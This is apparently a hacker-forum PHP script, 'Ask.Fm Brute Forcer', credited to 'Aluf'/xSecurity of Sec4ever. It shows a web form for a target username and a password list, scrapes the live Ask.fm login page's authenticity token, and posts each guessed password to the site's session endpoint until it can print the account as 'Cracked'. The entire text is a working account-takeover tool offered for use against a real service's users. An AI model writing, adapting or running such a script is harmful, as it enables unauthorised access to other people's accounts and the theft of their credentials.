Ask.Fm Brute Forcer

<?
        # Coded By : Aluf

        echo "<form method='POST'><title>Ask.Fm Brute Force</title><center>
        <font face='Tahoma' size='5' color='darkred'><b>Ask.Fm</b></font><font face='Tahoma' size='2'><b> Brute Force</b><br>
        <input name='username' placeholder='username'><br>
        <textarea cols='20' rows='15' name='pass'></textarea><br>
        <input type='submit' value='Brute' /><br></form>";
        @set_time_limit(0);
        @error_reporting(0);
        $site = "http://ask.fm/login/";
        $username = $_POST['username'];
        $passl = explode("\r\n", $_POST['pass']);
        foreach($passl as $pass)
        {
                $hash = token($site);
                $x = brute($hash,$username,$pass);
                if(preg_match('/<a href="(.*?)" class="link-menu" data-rlt-aid="tlb_menu_answers">Profile/', $x))
                {
                        //print $x;
                        print "<br>[+] Cracked : <font face='Tahoma' size='2' color='red'><b>{$username}</b></font> / <font face='Tahoma' size='2' color='red'><b>{$pass}</b></font>";
                        flush();flush();
                        break;
                }
        }
        # extract auth_token
        function token($site)
        {
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
                curl_setopt($curl, CURLOPT_URL, $site);
                curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                $b0x = curl_exec($curl);
                preg_match('/<input name="authenticity_token" type="hidden" value="(.*?)" /' ,$b0x ,$token);
                return $token[1];
        }

        # brute
        function brute($hash,$username,$pass)
        {
                $curl = curl_init();
                curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
                curl_setopt($curl, CURLOPT_URL, "http://ask.fm/session");
                curl_setopt($curl, CURLOPT_POSTFIELDS, "authenticity_token={$hash}&login={$username}&password={$pass}&commit=Log+in");
                curl_setopt($curl, CURLOPT_COOKIEJAR, getcwd()."./cookie.txt");
                curl_setopt($curl, CURLOPT_COOKIEFILE, getcwd()."./cookie.txt");
                $brute = curl_exec($curl);
                return $brute;
        }
        @system("del cookie.txt");
        @system("rm cookie.txt");
        echo "<br><br><font face='Tahoma' size='2'>[+] Coded By : xSecurity | Homepage: Sec4ever.CoM <br> Greet'z : b0x - NeoDz - DamaneDz - b0x - RAB3OUN - r0kin - No-QRQR - PeRsTiGe511</font>";
?>